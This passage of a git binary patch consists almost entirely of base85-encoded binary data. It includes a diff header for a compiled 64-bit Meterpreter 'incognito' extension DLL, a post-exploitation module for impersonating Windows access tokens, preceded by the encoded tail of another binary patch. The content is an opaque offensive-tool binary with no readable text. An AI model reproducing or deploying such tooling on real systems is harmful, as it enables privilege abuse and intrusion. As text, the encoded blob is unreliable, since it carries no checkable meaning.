z(hjBQl*@|}>1m2wd!y7@F1b!fv!=Hb_8K5zWUi_kOyFYoZ*dYIQqm(Fp zkSuo^DD{u59riAvmSQ^*8T|Pv)Q9m^QJKZ{oP(y;;mR=zgve0}#sA)GOtaURNV*pp zCE~UHwRi1R#FuOK-2Y0a-*0@HOrV6%n*95E`S3ugyYy9e`PYF`?wz$wC}N-x=9Jc& zkrek#>4-U^{Od@Yc~VKnrIJa%?Z~){_U#VJV#;3?(doT$>V zoUJ;Fwc(dg#HD63vEx^Xz94V9Ng6XS995A}Uq`4*2YpoB)OmrfxHehz8^e(yMRIjeI$Y&L&uaTf7QZ~#A{lxMZv;)j zQzO!ZXmE-_^hhGopWlox(+*1rKR+F(EMy`w$6s}WRm#_D6RKpJG(;QMr?9yIz3(CU zgk9<#|F0#Y=xNwBy7Ue$>*?jL4k=^iteIlnHA?gLGl4|Cf$Fq~W~buQslWI1!`p2s zp(t}ovkxg9pJlL?GsVqc3FWxsL=qACP-%Mu(+e5scWY#YO%Dd$LUrQ6?d_@ZET?qi zWYj%v6ARu8XiY^j-G6w<%4h!lLmujJ%|oJ-{`8O`%?~+Ai${IP$dQapj1J{QjT;|d zwXj7<6WYV}7f$$YNwe<<4Y@7!Q+Th;`((VLU}2Md-YI4Ei#^LuklLfM99JEj9~F#c z+^9EQ?)ITiYfpC9oiB~LZW+sMG@96-i1RzXiBSpRUO^ZKyBc0 zgXqr&TPVjDHh+GF|m74yO`oh)P85QT-^MQEU5e z^jH=zWhs&YeLz8~TeUh+U9P)UJEV?gtz74ky4@ibR~MtaWGAB`LVc1@D72EBvzI%D zdpto)p?NR&I6CzUr?{iVQuX<{p{Cj^tkn+1eW2b#U9v4!U2F5b#h$k8?o(A&5AjNU z)a5d$WyEjQ&!@=Wv47taaRUfp08sYy}ZqN^nqD&$0;)V-T1Z7Fo4 z)j1yGUTn&tY8OqH(kJC{K52l|u|Zz$lWx?O%WwIllmG)lEUhQMjLU1KHZ8)Phk~|B z#sfTiPo$v!W20r~I zm0sLjD3lErhz`ea_c!?&Ayt>9xyCV6D;Az-TylF?F$z|2-FW3FjViKG#-*zYFAHWl z3*+)roL;fMkFkK6H51j|XO`0X>XUis9k)-WmBv`ASVWo^rR=83GvUQ@enWJBE7F5{ z0}Xw!DCJG{qPQU!w{kHYA{uy`<)vv-lJrupT$U!8#);o62k|YMQexv(e)ygZqr@S? zs8S;hFt99L_=X*N?j7-~48*z@@y8d_FlIS;R78d58qow3cZgpeC#MXOl0END78$8V z%2AfkQi|x@ML((XeDj5IO67-V&N{x`a->(6=nc zi^*%HoS4QP#WKhI4*f6WD1`$lH^eUc385$-U;amKHJMX4C_ZSXgxZLx8W;L$y!s0R z!!F}R!d2e+P`-1p)MKEy-2bQA%S4q}rZ{O^e^s?84h{bdcL>M>jE;~Q6yqAXa z#%UDLk)-tsd5*YX$>dBG>XOOy->(N3$d?97o%^pQlw!E8vEjxm3u1Cc<&2!E)iauw z(TFP4cO-E!nZUPE{xw%l8zOaYE|b~!CEttPF2<>aI^y$7Z(wzviC+*U*+(dn3X|zm zcOE~INfgzwsi7UJ4hw%EK7Y~5wL>IRTQRCod_}u7hVt%YwX98-+G_{M9nz&m!O~K}8*j37_%(wJ-v2ttu!aupp9dLU9wUE~&bpXS`F`qv!tqc+ih4+Q^N7MrBuMdP ziN_;(tr!b$e(rJc+!C(-uLd_-i06u|dVO=>d8CpwMopli{t$gmf=IeMrRpM8Q(1rOxYvM*C~)UVmWnWGH-O*}67 z55=Nd*^8lVQg{dD;_R!b%bzb#9V$7xZ9PG_8lq8~$bnA_5=lYhm4Q#;mZQAiU#=c1 z_3%UqtC;jNj8~c%)WUo@KZV228?b~L$JbttR_ZYp*LR;#Ti-&5E@$e(33sT+2z3}H z<)z#qeif>FU#wtt@A>yiLgW{RG0G=?$?@u+sS8*;DU0vB8sLxS$;XCC{iK}l<@ih~ zP0q=bG6S2$xH!v5Kg(Wj(xjPjn!T;(m56O~t0PElS^IZb&+nUcZw)8l!?MQJfkvFHHwl%8LAq^#E9ZnjjM&xpc=*Oh|)_nidhk* zi)vJ7I^tDhxp0kAjq8Q+mu&Hf3Sm5>8mlR0G|Dm6yhRufsm2;%{JU!0E{t1MW1TQo zVN}D+n5;&5MZK^|7@t#(2ZZqn)p$r4OH|_#VJuXQ^};w$H6F(pQ0`XEig2E&8by82 zc6Jfc)517ZH8u*PTQ!~&MuTc>62@Mt@scohQH^5MNQqaC;wTj*3Zoikp~pZupCxWB zv>+%ASpi`dI`foz)j2^J|DhTah4E9>DAuqkAF0Mq(cX*sZq=M7oF}TrbYUEcQ4Msaunkc!WC^1~HRcH8jjC~s zFy5dV#mKtSNi~XPNJ^Y)oFa_cEO~Oa)HBffXX>@mtdyAkb*yXC)pq?PwsykFb3f6U z(a)?}xHto_4TNK{>u$OK2&vo9t9x8O|0h4%rhGwFB_6N4`gkRC7EbJOO(U4<-WGKt zRdIfOf+#af(7)Tp!&mnJZ6n>1dzC;~%YAx)hgC}`chV^~zP?+(w{j`h!$Z93zYh=4H5!ek*VduEy+n69n6V`^s0GS~LxZI5!HjckbfkYx zejm5&lvwd8X6>ta7WLB zy1lg*qd6!cIClH8quuGEFNz*s{7L+Qv(>9bYw#R&n|pHeA6xtjafke z(RGUI6>;xBY`)MU-bfsBGe`sv$=*hM?K%NY*9`Yg=*z@CotQy z|A)Nf-2Sz}>^kl}sh(H}zr1+wLp^t@Z%z#G?u|p5U%p`1pPtB4*BFl1NN3kxRB&Qx zWAUk|;fqe8&XVWqtRf_68aycqg|OSQ>5UYs0o_lb`_-_Kf{MTEuG=bh`4`j?hCd`9 z5k!I(I-48%vi~;TUc>@Xuvv`)5zr%%fDR3g*(^R$@ns#~h;+db3p@W9HzUVN*AuyO z#!4NvDe^D3N!@ds2cr7WIg5;T{rB?Be<#aWc=`XgvW$Tci!5XLe=W;6{&%y?0N%Vg z%Q!@${lAc9(s-`UDnjymmJx2(W*HH-|I=B<5zaCmHOmB=vrN^ za|~vzGuLqbTH3f^MtNu(r>oTmC#?-m+7z5r7MxTOoU}f4HaKacGb05RRTn2*?N|9H zi-D1o^;Bu0Y*qVn<;r$N7nAeji!QdxZ(S6)*g8MD=wh1!-JpgaR<;{d+!P!C$b*ar zpbGKES&YvQ-s6c`&>~NlJG`Mj#L@#zSpQ5& zK|7Ra!3XEp7HkaS>Fj^G_i**z{o|L5KoD*;GhjHG!9U@*4Q5nudxmK`aU(SSW^7#9 zE>qkzKX4(Kv5{*c2)!cDM`d*9`7x2_kBB_|MDx>$97f!lAEZ+aLzZ?RZsH$3!!SxD zejfe~^YD|B`j%a$O; z@Zri&{)2Icyp|`mTvA_VeSr2M9$Q^ul;G4YQqr#fnQHT+3m{X=IPy7C#)0|V|oj{?fA z#XI)u8kb$pNuUGMIuaZ84e=k2#GxTZe6W~^>)GMrBaU4cY#quj6T?IA%1_=QrD`9R zKfHq%8l6NY7+Wp|Ek73{oS}^Mx`K^-6`igiF_cjuO#KUz!jFo7YyjI7mR+uFAWBxX z!(5%&j`3w>iddZaPZHmv*3}i)p^Ek!+?Mcu9KaGPqv(=484%Ci$oFN76qM(3+tHjEiT-yDTp=K z%m`-eK6#!rG=mYQjzcdD5;M7~$5ze>=xld(&fk<59oj~-b9L$1L&3sz!NLkg6(^P! zY%jG8EgeMhRTkP4UquT!P!V6%B2-ur{|0Th3f1JG!LK$Vnii8G);oM`zCxQ3LwV}dwp^VjRib}hcC-S%zR|2T>ULP9E+JFPg zc1Sg}#m838V6@YXLPL{i{MLoOs6EwPSJO3iYiMjGO(HRu^|?AJ5W7!zMc2sDX!4I! zXv~zzad%4Zwti1U^$hpV^Sj7D-6?g}c9Uc8k~+t44^E;nEeZ)zzzU;mzDpV&SQVSG zc1AFMMsQf`;CLyxpoLf}9Z`cm>t<1;ubw+y(r-h$&5-mXkT($1-ID$m4mo+M)KAWyDs^g8a*J-p&LL3-^va*yEzib1P=5w3^}{${u0)f6 zotMYf6vQ$vX_%>q3vJw6IoRftf*vy)v6c>r%Ilb;yk15&R)_vqycWapY(sR>4c%up z{qCXkcMq$=9$HWdIWfjp9Sm)~=W~6wMpLWA(D@6TOkB1#?#C^sOQSOHt;rTGR~8x& z(WIR3Q1g>rjb1;JVf}?Kn=_#Ks~N$9Q^CR$!R#$NGuB5F=A9X9MN;3HQ6ZAJ$of6V zv5VsQk;tRuQ2Yw#);Na>>QR*)EU2k1+@cGRNhyNqoyRXfN{+ZDca}2ectvE;1d&0v ziwwG*47wwzUQqLB2EiyZW|Z|3NoLs(;$Mn9-A?s8^(ZI{7M90X(Mzcu5uCINWro2? z=QtxKSh#5hb1TI+^Sm2oI19={1vT--UXdT&g=^y<5p^A=3XxBhlOEYIT}q*eJqZNv z2xb(Ojy)GFs0${1H9GT#US zK?ukPV&;)~m`!30OF`qZooWWmsG+zZ1J;NPcrH|@s|g(>3&w7xna}BkBLAV=@m(=3 zr#r9vC0NiXPo5$5Y!_cuqiZsMPV|HdR}qhc~py++OJuf zOS6nc0;L`%UDi^_#aEG*TgJb!H#CUPu&&gjcQ^3`E?zC})&&#u@((kmcJ?g{5DidcI<#L`(;U<4 zl)YNa>As5ni4HT#ub_!96WAM^v?Vlli+s~P(gYL-BO2^=Q9$uq3qT2lsxu>l*q+-k~gr9U!Dq0QYME! z<%vpnwT#w%r8^({W$a$Gvy%~SEjUK;pQj=4K{fl{zT(Ov`-N}Gc9Z~1Zw&ELpR%Pl z9Nbg;&g^T5{V8_ut^AZ5@Y+YO{*v|g1*=0D)ul_L(l{2NaNV#VFC|(4@sHMVGm)o6 zhTjk>tl^$J36SpdScWII5Ux@S>mPJ13}jV=aK}kp+D=t+UVivq@@RH-Xm7rDXegsj zeDRBX@uvA$$5!hKcIiH6QeNpE9E(EG`qBhHKV@x3_tGd^Y;8ycf`puivQK73D+ck& znY&wGGO0lg+|pRmIYUh+eInEG28HWZ4!Tl&Qu0`r3~6Xp(I;FV%aBnW7LF+pdHMTeIk#TBR#E6mz6nE zN}A@MtRU);&UoRAVmeBZpkQ$5WY>ko z5;xS0%+{Lv{~G^JRCnfpS)2C#7Q(@jP+i!1Q2y&YDV1?ba}8sa=s^@?mEYuwZyM2q z`1s)PNbH9&G7!9I+JQPY$)fNn5q3m;F;yt2RF}-stA3HdvGmF;GMS_FrJORmM zhF!j?0Hu+kC^eYFMidpcryY8HM|xs(>-^gy&MVUsdwE*t-$Io;tVD`94$hN=Zw7#m zPsV$%)&>24_ud=tNqA4p(@nnmi@er@C*XTTNmgQS5!Mt|L8H_r`uWvD!90c*c@ z%BvPgeR#~K1=3J$ru^#ysdLv%$^=dRNrrGy?88wH!cJH@zQ-%yv`|XIdlpcaQgK{u zdgore;?UxYx`MWmm{DDO5AFYRL&Al_3}WYLneinSt2c=@tzL8(3LEz+xW%ytg}p5^ z#n~{CWe03ai(j5iyMw!O=6#g9wAg(){>fV1m0(t)ffPa==FVstC#J2xNS4nml)A1FohDFl!b~!>PWm9v+(HfAuE>_2| zhb@+R^t~EMO}tw4RogG>i-zMmuQjI)OY)kRp7cnf6< zK}zFXG%#7xPjJw{9Ys|aZT@^PE#0w=tY!Q>zfb81^iR5XGsW?XmKlT32Zw$N-V(*Y z7{BIvO9q3^1&74&KSOSrSK81CAv76ckrSHS{=P)&+(yyYey11p{iWJ7dim@Usc(Gq z+wd}I8SgIlFO+(*>Yqudn6nh@(?<}a-UJfAcFFDZYbw(6Z!Y#G$@2@zMM?68LMgfZ zApHEk!+F;({8#NSl-|&`t|Sj$>E$6$zP(0@(gxZ#Nt#qd{GGTUX$~WwA|E0Z$fL+| z(~$MZ z0i+R0SkG!`WI0lXY(W&nv4M5nND)$oY)4Kb2`@?dR3z;sDWD&NVJ5N~sX(?M^+*$v z`Z5nhCO*zhkV<4bQja7*A?Y)bImmKk6LJJ;LXy`?`gCLtQig0nP9q6V@`A`LqztKh zGQbZoq&&sVkeNscQiGgE;$%s0Kyr~e$Z}*0vJ26# zlpzNY{WH8ZG7VXUR0Q~EFLDlvdzObGxyTfx3^{}}Au(md29k-)M3y7v$Z;h3FZ>2s zg_I-JNIeqs9DzVekS$0(qW`O;AAn3lRwGp#*GRv#l;3<>YF}0Nv{ce6F0D$duVzVM zOb4C5Du2DSDu$%4(UfoDhH%Q;l3uLOt%hjI(&#sFQw=39Z$U`t8CF9Pvo-JraY%0+hMqX=g$(Fv4#8fq9`=R` z>;oHNU)Ti2?k>$g*dPI7-~gzHH^M}C6HJCSm-z)Cm{R>SeI1_o}!P={eU z+$$X5A*dx09Dx#4pbnmcQ81B26b&^8NgFT@wiNC#2ByGPaL&i13249`2R*P2%!F;> zn1hsr@ffDyAX42d*ba)+dL0z0wLM&jdjebzJHXXYsGcr^iLe58hMQm)SOdGlT`&nA zg5BV8cs*={-QlH!0TKm;=k)&($FF&uz4SP$*+G<3iw$a)-2)FDalf_mtNNzeyVp&wdc z8cc(OU=|z#b74B112fq!gUEo^ih8y9%uo{XMM;(lU2VhHB4_m?0ur+LgaWLvD?i0YE$KZxZ zP)pG_07gLvYzfn0E0_aY!-+5s&V*fHK6JxXP)iY623x@j*cxtvaj*tZ=Fdi2V zfq#S4HvzS#n}tIN2Mr-@36@|NHChbz7+8Y+MYtCJ9hSq5a3lN#R>Q~PcK9CL3qOWO z;3lZRgYX>O3pMrOnli3FK&uyfA`bhZo(HyqDcJWx1N<6#;1@6xehSCH&2S2=g|pxR zxDc*~%i(KqHT)Kq!6#q^tcRPR*!x!#z_1&`E_f6kf?vVo@Eh0&zl4|I4k#KWJz>nz zaFw0NHy4eO1nje*Xq<>fOEUJEFcEueH~@PVbl{&YEgA>*`7n@-hgb~hIIM*^a08qO zUxzbcHq3|bz#_N>R&ygCT!p}1h=B`j-~sHn!We#-3hS}w!5Xf2ho`aM2_4wm!Y1tGT(w~t52L=5^kSi& z9*%^W_!Idw3HvB$;J!DC_FpOv^Ki()!3Ztb7s7SeT`&#%L*hC&Xa_~J$q%z|55kFX zG|a`_1ZQGj1RL?+3+7|L8;W*h3M|4t1FnLPil|EFhyCF?9PWebVKJ=4-7ARwVOWmc z4Yy!l4l}VEU>)|qzyojrtcL~gG#m?adGK|x3Hwtp>KI)(sD}X=!xTKUhe{IE0Ji~V+Z2>T822=-}Efgi#qxDCb}r}qpKVKq#J zpFs!Q3D+GU|98QViNi!F%K2k(4EC*X7W@D%hcCf0_%tl%!Cm1d?9ad&I0;VSMa*y) z_QkLcdm221eI+cx?tlvRBDgw$gA>C!9G1ZfZkz-)-%I*CKpdP6D{=1z6R}T*bNHPV zreI$J>$si_4cPC3)!46x9_&-#O#EA5Cidsx6!;()>1P0DKkJ!=do>_f=iCOK)}1&aC?TmkfT&7r&H}Wty!~@d=s))G9Rp zmr!-%SJERU+R(9(<1YETxa+1pRv{jJooMeK`Oef*2^sc)Hsu9REV zOI@Qg-_YvslKa-9_+_d*97rwRk@M=M>-GM3e;@N{g;~z2mlCz3|0&;yX($t%wis2_-y_~jNIcWPrBuh2uhb0ix^>A^`(3>PnCupR^58v z_LWx8G1H=yx%xAvp8jwf%h&2}dOUXYkN#K&{|A41S^FK2d+CJwVng<5!i|jP(EQo^ zE80I^uej!RRXwP*dPwpu^-?#T(l>1Ax!C;2U({Xm3-JPv+9bK*Td7;m(?kF0@z0NL znH%xgG~qvc>|UsP?A-m#!&FL-gc~6_k4u_q2|CRHWZGHA8P7>itdaV5E5ZB%QjHuy zP9PT%{W(dKC?7p0ElAc-*iF6vzWeT+J#F%|>GP)Feb4;->GMR`htIwzUvot+Ixcyp zUg8JMe|s4^G^}O>H!_4M+!r#gIB|`nIdqM`D25i}@VDz4w{$Vwh})QJemf1fk~Pwr z9v%Mw!0`Xwf#EiMmEQ-3s}}#jX2uSurQx$l5wq@}dhhgU84IV*ymR*5)8!XWO3OMn zTze^f`qX*T@0&h5U%ug#G*F&#O4`)xpVxXAK0D$;qdBV`Ha&mnJ+r2dSu|(5tUWFD zl~Ws}59ORwQpc|QqsGqWA=755kDERx|DOA2<5#3g*?3yIzvWv|qi0Q@K1crRY3YqN zeqGl6cTUT?=dO8o&RZnk@}u;{&DTG0&nS^7Uu8gC3!@{l5c?{m9QhYjZ#9xgVFHr&5NenhmFNxYZkw%<#OtIqx`aawQZ7s6$Y!ZgOsJvDkV*xHyVMw81aj8#iA zmS>YSVv@t5ZIz7b1QCkls#kuN7DOAaL&42|M^a;%WRap`_S!}2aqGkapW}8glM+WLPZjhBqSLbfTSTJ?!{jg<}t`bWEwIH$w!tT z%aOI)Xu+(9Ar7N8WH}>kP2iI zvK={uD99y5|1tMPl0R-wTw$1qi19YD-AcnFd1sBRvfswWdd+oOD47kDE7FQ^K?O(LlIf?1n|9(f>*Uk-sMVFU0@tx&KIP5s)IPC~}PkDdxcJR&d z?em@XX_9Hx^ZOD*rQtopHp4!{DZ?d02jc*v+2}DoVXQLN8V?(f8-Fw|Ho47n%&(fO z%sb4VnGd4U@r1d-95`?O)!f1oYw2j|YUyq1Z?Rc!w$8EES@&2ETEDg)w`y$f+3t1C zb1ibMbN|J?(fy`-o4d~ah5Ly6Cr_3)$2-QG>z(MG;%)L03Ipw3;4!8d(~X(NEMpFj zeav*hy41hIzsmoF{~7=D{tCZ%W8tr@wNt>_#ofc5>b}Wsb9>$C?pxfW+!NeW+%LL6 z68(-Gx{=_o##fA+d6T~zzchYt{K=SLN;D;zl1(Y5RMSfP&+cE`8jofQy$SrTHoRio zZJcI*(Eg}>jc>E>OJ4`SW)6Yk+GR^SYp!)UvHL79*3!1h7I?yT*mm5e*iPFTZRc!F zwo5jRJ<1+qcliDO{r>O#{HjR(UlU{KXRsM284eo`8;6*BmW?gUHXdPv{ zEnvILR%QF%*4}=%{Ym>a`(gVjdw<7F$5KbRcE!CEb7EKKed)!@yi&o9vusP4# z#T(ExhAqz+7{yA~s-9Zgcx+nOd{OjI*$pdx{GRAXObMH1(dQ`As-I`1XM*P;&nuqI zp6#9|y?^o6cz^Jo^-8||zOQ_jeZBlff0|#jTB}*hPudwe8$5=ohWiam4YwM{2aJWr zSB>u&KQ?YKy=K~P(wO7ST}hHUOJB=4%UzbamXX#8)&P-JZQW^o)%F%2Nn>wkKVd&( zH#)qI5snVd@y`354?0&mZ+FSA7hP|=>Rf+uZ*VK_bEJyHp6@)pyhiU}Zzo@O-(9}h zzJPD8f06$s|6Bg8eoc8mt5FD5H^V@}Q(@Rl25K@y8RLw0<8b2`;{-Ku9~w^@&l~%h zvQ1M=b4;n`f#$*HO!IB#Mdo$pH_RWJds=R>Ot3`TdfGg;A+}p=IkqvjT-!3+%eIeg zyKH-H2W*FIM{M?R9C6e;3SGsn$6PyH-?$EV;=Jv=UA?z@r+H_47kc0I?jifN_ub=L z>Radg)z{bmg8x2_F`YGa|K@ztS>^n|xy|{hbD#5&^IPW$=a0^F&P&cH zSDY)+)x*`>HNa(arMYrkQ(SW>%wBa>y54bZaRs)LT=uvQy1sTDcQv?vcKzbgx?8#1 zxsxcC`nZj5w|j(pw0o-iUiT7rsr!5PY|k?9ufCi7L;Umo5BeYRul7GnnYPV;+^?z8 zYU+vUHWcLs()S~VHN@y9isd@PZo@IdIfKU7(x@j^&Bi;8`NnO=6UK7^V;fUPlhu@F zy4f_*G{aP4dcqWMP9e(DEw@_6S_arQ+V;0Xjhk9nT-JnOmaiSj<~d){~0ciflixA=YjTm85B7xH#5``__@1k!h!Cm+5oU zVbiy!?@d3Nel|5xu0)$-&F#&J=IhP9&Hc?rv(xM|r<(&==8@*{=E>%1<~;K}^8#}r zrFqEww7J~;8fo||^KtXf=C+jP2Fo1FBFiI|8p|h^FDz#)XDw~5?X5=Z2nPfPb+mEzclra) z4Cl|z3#8Qcu3Xn-*WIo!Tt{5ryMA(=cO|=fy9ZD!-tR7OFLpode!~5%`+4_k?zh}k z?k(<*-Fi<4&lrl{yF7P$=6DJyg1_~g^tABmy#eoL?+)*;6v3T*J$wr(^B(q<`YL>z zd>{Hg^Zmp3z0cuCD=_6kKvS>Ph>^Wt46()x<0#`qW1ew7h4OR8&ZfR5ziE_dmMPy9 zFg<0eG<{||K%^ccw_h+_HuW;+m{+13dcXNTOSxsIYxxts}8{r${n;-Bk5;a<*R&5X@7<_!?q2z@TJa`;m z+G$C%xLj*opSwyt!)Ri#7zpp}4L-x|h6fF+Nq)Z=1{jAL?;1S{L} zfF)r0-13#>Edq7Y`jYJp+w&B;Pf?PdbhL9$b1rm#MClM%=2}Mv33w#$_1<)^hDnGN z9iy7r#5>5B?fcmGtxxeC^nd05(XUCCG+XdfX80TRMR%itx*~&kn`yk? zxXk#h@vQN2(+j3INPy=}znWT-=zg&L({j#|XzfGof4lWg>wVS-t;?*dt+Msyfb})& z+t&B3wbX8Vh`g_?$E>G`!e6aXwvM)eHjB+mm6A<$@~rJ`DwB)0LH4KZqa6=B8Xab8 zy;A26XR2$g>rU4!_Y0m1&nCWqoOhsiowwGz+k3#P_t|{uzMJ{}8vk_vmwt_bMO_5` zePZn%W4$r(v+;g1QG(ibdCzjtQpbaP@bxa*qU=d_yL~=Qk>?z*I6k2wvQq{9&GoKp zx~JGv=6TWcH%}!Gto9uBwDk7!4)7Yh7O%tW@um@zncl|As4^yc+0uPxz%~l`JFSy6>vT8e#Je~d(8V!Z=tW)x5iiQ z8$d0w(Em^ILQ`1E2HF`r8*5FYx#y4Ovu3SDAFz~J-nJ-~`>Z>t=Wp~FJyws?2%D3Bh%=a5@Uxz=-e=os!$o~p0f@2~uMUo~HEHpf17`2M>yT)+6ak?=;$^4FS zKW&{}CO26rKsorN`AxbCq70m5DY0y|{oVGpE#5xZ{Hz-sbjfUmc zRo1nU#_=ZW7J5LttOu+|tW_}yx=L-QauRqY>8-|7=h@54)_W9Bqo+yU(?R#K)WjBr zj=G;I&={@babx_s{^kA>x*Oa5b$-RKX$-%0j3L!vG2|HL(C}GjSkKGXQ(FmT9;`n`qL3DPCsJS(cC`U|+ zBhI0BBsdZsNmS7(j#NjcH_JQIJIg!An@?kHiMPnRTs9}_hQ%lOl6@%@gagPN7N0{7 zChBgvhiKl_)9z6Gr~Qro zbN)+y4a4W6^wJpghGa{MCDk&3ddp&QSUeP?>6T1O)lWa8-2a`kQt~zbJW($7`5y@& BY&rk{ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index f38cc5e762fb26b3ce905f44685f934e29b808c3..3b2bb9c3852b86c81cc5b98b135a98c8f5f18870 100755 GIT binary patch literal 106496 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 